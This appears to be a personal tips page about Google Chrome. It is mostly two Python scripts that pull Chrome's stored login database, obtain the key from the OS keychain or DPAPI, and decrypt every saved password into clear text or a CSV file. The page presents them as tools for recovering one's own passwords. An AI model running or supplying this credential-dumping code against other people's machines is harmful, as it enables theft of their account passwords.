Chrome Tips
Introduction
This page is to help with things chrome.
Password
It appears that passwords are not easy to access anymore to defeat the people a Chrome I have found a python script which will provide this.
Old Code does not work
# source: https://stackoverflow.com/questions/23153159/decrypting-google-chrome-cookies
# just put a few answers together for a working script
# python3 retrieve_password.py
# outputs passwords.csv
import secretstorage
import sqlite3
import os
import csv
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
bus = secretstorage.dbus_init()
collection = secretstorage.get_default_collection(bus)
for item in collection.get_all_items():
if item.get_label() == 'Chrome Safe Storage':
MY_PASS = item.get_secret()
break
else:
raise Exception('google-chrome password not found!')
db = sqlite3.connect(os.getenv("HOME") + '/.config/google-chrome/Default/Login Data')
cursor = db.cursor()
cursor.execute('''SELECT signon_realm, username_value, password_value FROM logins WHERE LENGTH(password_value) != 0''')
all_rows = cursor.fetchall()
def clean(x):
return x[:-x[-1]].decode('utf8')
csvfile = open('passwords.csv', mode='w')
csvwrite = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
for entry in all_rows:
entryl = list(entry)
encrypted_value = entry[2]
encrypted_value = encrypted_value[3:]
salt = b'saltysalt'
iv = b' ' * 16
length = 16
my_pass = MY_PASS
iterations = 1
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted_value)
entryl[2] = clean(decrypted)
csvwrite.writerow(entryl)
Working 2022-12-20
""" Get unencrypted 'Saved Password' from Google Chrome
Supported platform: Mac, Linux and Windows
"""
import json
import os
import os.path
import platform
import sqlite3
import string
import subprocess
from getpass import getuser
from importlib import import_module
from os import unlink,rename
from shutil import copy
import secretstorage
__author__ = 'Priyank Chheda'
__email__ = 'p.chheda29@gmail.com'
class ChromeMac:
""" Decryption class for chrome mac installation """
def __init__(self):
""" Mac Initialization Function """
my_pass = subprocess.Popen(
"security find-generic-password -wa 'Chrome'",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
stdout, _ = my_pass.communicate()
my_pass = stdout.replace(b'\n', b'')
iterations = 1003
salt = b'saltysalt'
length = 16
kdf = import_module('Crypto.Protocol.KDF')
self.key = kdf.PBKDF2(my_pass, salt, length, iterations)
self.dbpath = (f"/Users/{getuser()}/Library/Application Support/"
"Google/Chrome/Default/")
def decrypt_func(self, enc_passwd):
""" Mac Decryption Function """
aes = import_module('Crypto.Cipher.AES')
initialization_vector = b' ' * 16
enc_passwd = enc_passwd[3:]
cipher = aes.new(self.key, aes.MODE_CBC, IV=initialization_vector)
try:
decrypted = cipher.decrypt(enc_passwd)
return decrypted.strip().decode('utf8')
except BaseException as err:
if reraise:
raise
return("FAILED DECODE: "+str(err))
class ChromeWin:
""" Decryption class for chrome windows installation """
def __init__(self):
""" Windows Initialization Function """
# search the genral chrome version path
win_path = f"C:\\Users\\{getuser()}\\AppData\\Local\\Google" "\\{chrome}\\User Data\\Default\\"
win_chrome_ver = [
item for item in
['chrome', 'chrome dev', 'chrome beta', 'chrome canary']
if os.path.exists(win_path.format(chrome=item))
]
self.dbpath = win_path.format(chrome=''.join(win_chrome_ver))
# self.dbpath = (f"C:\\Users\\{getuser()}\\AppData\\Local\\Google"
# "\\Chrome\\User Data\\Default\\")
def decrypt_func(self, enc_passwd):
""" Windows Decryption Function """
win32crypt = import_module('win32crypt')
try:
data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
return data[1].decode('utf8')
except BaseException as err:
if reraise:
raise
return("FAILED DECODE: "+str(err))
class ChromeLinux:
""" Decryption class for chrome linux installation """
def __init__(self):
""" Linux Initialization Function """
my_pass = 'peanuts'.encode('utf8')
bus = secretstorage.dbus_init()
collection = secretstorage.get_default_collection(bus)
for item in collection.get_all_items():
if item.get_label() == 'Chrome Safe Storage':
my_pass = item.get_secret()
break
iterations = 1
salt = b'saltysalt'
length = 16
kdf = import_module('Crypto.Protocol.KDF')
self.key = kdf.PBKDF2(my_pass, salt, length, iterations)
self.dbpath = f"/home/{getuser()}/.config/google-chrome/Default/"
def decrypt_func(self, enc_passwd, reraise = False):
""" Linux Decryption Function """
aes = import_module('Crypto.Cipher.AES')
initialization_vector = b' ' * 16
enc_passwd = enc_passwd[3:]
cipher = aes.new(self.key, aes.MODE_CBC, IV=initialization_vector)
decrypted = cipher.decrypt(enc_passwd)
try:
return decrypted.strip().decode('utf8')
except BaseException as err:
if reraise:
raise
return("FAILED DECODE: "+str(err))
class Chrome:
""" Generic OS independent Chrome class """
def __init__(self):
""" determine which platform you are on """
target_os = platform.system()
if target_os == 'Darwin':
self.chrome_os = ChromeMac()
elif target_os == 'Windows':
self.chrome_os = ChromeWin()
elif target_os == 'Linux':
self.chrome_os = ChromeLinux()
@property
def get_login_db(self):
""" getting "Login Data" sqlite database path """
return self.chrome_os.dbpath
def get_password(self, prettyprint=False):
""" get URL, username and password in clear text
:param prettyprint: if true, print clear text password to screen
:return: clear text data in dictionary format
"""
copy(self.chrome_os.dbpath + "Login Data", "Login Data.db")
conn = sqlite3.connect("Login Data.db")
cursor = conn.cursor()
cursor.execute("""
SELECT action_url, username_value, password_value
FROM logins; """)
data = {'data': []}
for result in cursor.fetchall():
# print(result[2])
_passwd = self.chrome_os.decrypt_func(result[2])
print(f'${result[0]} ${result[1]} ${_passwd}')
passwd = ''.join(i for i in _passwd if i in string.printable)
if result[1] or passwd:
_data = {}
_data['url'] = result[0]
_data['username'] = result[1]
_data['password'] = passwd
data['data'].append(_data)
conn.close()
unlink("Login Data.db")
if prettyprint:
return json.dumps(data, indent=4)
return data
def rewrite_passwords(self):
""" Write a new Login Data file in the current directory without garbled lines
"""
# failsafe
if os.path.exists("Login Data"):
print ("Login Data exists. If you are running inside Chrome config directory, DON'T. Otherwise delete the file and rerun")
return
copy(self.chrome_os.dbpath + "Login Data", "Login Data Copy.db")
conn = sqlite3.connect("Login Data Copy.db")
new_conn = sqlite3.connect("Login Data.db")
new_cursor = new_conn.cursor()
password_param_index = -1
for line in conn.iterdump():
exec = True
#print(line)
if (line.find("CREATE TABLE logins") >= 0):
# determine the index of the password
password_param_index = 0
mangle_line = line
while (mangle_line.find(',')>=0) and (mangle_line.find(',')<mangle_line.find("password_value")):
password_param_index += 1
mangle_line = mangle_line[mangle_line.find(',')+1:]
if (line.find('INSERT INTO "logins"') >= 0) and (password_param_index >= 0):
# this line adds a line into logins, find the password, try to decrypt it
mangle_line = line
# remove all until the ( inclusive
mangle_line = mangle_line[mangle_line.find('(')+1:]
# process character by character
# when a comma is encountered outside a '' delineated string, increase current_index
# stop when the password_param_index is reached or the line is empty
current_index = 0
in_string = False
while current_index < password_param_index:
# failsafe
if len(mangle_line) == 0:
break
# process double '' inside a string for escaping, special case
if in_string and (mangle_line[0:2] == "''"):
mangle_line = mangle_line[2:]
continue
# process a comma
if (not in_string) and (mangle_line[0] == ','):
current_index += 1
# process a single quote to enter or exit a string
if mangle_line[0] == "'":
in_string = not in_string
mangle_line = mangle_line[1:]
if (len(mangle_line) == 0) or (mangle_line.find(',')<mangle_line.find("'")):
print("Password value not found: "+line)
else:
# retrieve password value
mangle_line = mangle_line[mangle_line.find("'")+1:]
mangle_line = mangle_line[:mangle_line.find("'")]
password_value = bytes.fromhex(mangle_line)
try:
_passwd = self.chrome_os.decrypt_func(password_value, reraise = True)
except BaseException:
print("Failed and excluded: "+line)
exec = False
if exec:
new_cursor.execute(line)
else:
print("Line skipped")
conn.close()
new_conn.close()
unlink("Login Data Copy.db")
rename("Login Data.db","Login Data")
print("New Login Data ready, use at your own risk")
def main():
""" Operational Script """
print('We are on a role')
chrome_pwd = Chrome()
print(chrome_pwd.get_login_db)
chrome_pwd.get_password(prettyprint=True)
if __name__ == '__main__':
main()
Usage
Easy Pezzy. You will need to install Crypto
pip3 install pycrypto
python3 retrieve_password.py
Passwords Stored in Cookies
I know people should not do this but they do so here is how to workaround a lost password in a cookie where retrieval might not be easy.
- Export using getcookie (chrome extension) Exports cookie as Netscape format
- Import using https://github.com/zhad3/cookies.txt-importer-for-chrome